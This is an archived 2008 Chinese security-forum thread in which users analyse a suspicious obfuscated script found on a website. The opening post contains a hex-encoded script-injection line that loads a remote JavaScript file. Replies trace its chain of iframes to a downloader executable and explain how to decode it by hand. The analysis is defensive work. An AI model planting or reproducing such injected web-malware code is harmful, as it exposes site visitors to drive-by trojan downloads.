收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 找人看看
12下一页
返回列表 发新帖
查看: 3695|回复: 10
收起左侧

[可疑文件] 找人看看

[复制链接]
雪落的瞬间
发表于 2008-2-15 18:50:30 | 显示全部楼层 |阅读模式
<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>

www.138soft.com 有点可疑 ，不搞网马不懂 ..
回复

举报

冷冷
发表于 2008-2-15 19:04:26 | 显示全部楼层
MS没毒

最近怎么都没有毒
回复

举报

深红的雪
发表于 2008-2-15 19:14:10 | 显示全部楼层
确实有毒...

随手解了一个，估计其它都是一样的，不解了

Log is generated by FreShow.
[wide]http://www.17cos.com/mxd/renwu/2008-01-10/8004.html
    [script]http://OffIce.FAQServ.CoM/FAQ.js
        [frame]http://www.59.vc/page/add_54738542.htm
            [script]http://www.59.vc/page/addr.js
                [frame]http://w18.vg/real.gif
                    [object] http://w18.vg/s.exe
                [frame]http://w18.vg/bf.gif
                [frame]http://w18.vg/lz.gif
                [frame]http://w18.vg/xl.gif
                [frame]http://w18.vg/ms.gif
                [frame]http://w18.vg/baidu.gif
        [frame]http://OffIce.FAQServ.com/FAQ.htm
            [script]http://count23.51yes.com/click.aspx?id=239507339&logo=1

[ 本帖最后由 rappar 于 2008-2-15 19:18 编辑 ]
回复

举报

冷冷
发表于 2008-2-15 19:36:48 | 显示全部楼层

回复 3楼 rappar 的帖子

估计连接太深了
沙盘进去没有下下来
回复

举报

深红的雪
发表于 2008-2-15 19:41:02 | 显示全部楼层

回复 4楼 冷_冷 的帖子

我解的是楼主给的代码

www.138soft.com这个网站首页没有问题，二级连接就不清楚了
回复

举报

mox
发表于 2008-2-15 19:44:36 | 显示全部楼层
原帖由 rappar 于 2008-2-15 19:14 发表
                [frame]http://w18.vg/bf.gif
                [frame]http://w18.vg/lz.gif
                [frame]http://w18.vg/xl.gif
                [frame]http://w18.vg/ms.gif
                [frame]http://w18.vg/baidu.gif



请问这几个怎么解出来(或者按出来)
回复

举报

深红的雪
发表于 2008-2-15 19:50:17 | 显示全部楼层

回复 6楼 mox 的帖子

freshow按不出来，要手动。
从document.write(w)入手，把w赋值给一个文本框输出即可
回复

举报

mox
发表于 2008-2-15 19:57:45 | 显示全部楼层

回复 7楼 rappar 的帖子

明白了,谢啦~
回复

举报

qigang
发表于 2008-2-15 21:24:54 | 显示全部楼层

回复 3楼 rappar 的帖子

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Inject.rjm

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.31.30

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

qigang
发表于 2008-2-15 21:25:25 | 显示全部楼层

在线网页解析结果！

1)http://www.138soft.com/images/style.css
2)http://www.138soft.com/html/count.htm
3)http://www.138soft.com/html/link.htm
4)http://www.138soft.com/html/main.htm
5)http://www.138soft.com/html/count.htm
6)http://www.138soft.com/html/link.htm
7)http://www.138soft.com/html/main.htm
8)www.138soft.com/
回复

举报

下一页 »
12下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-29 14:17 , Processed in 0.127081 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表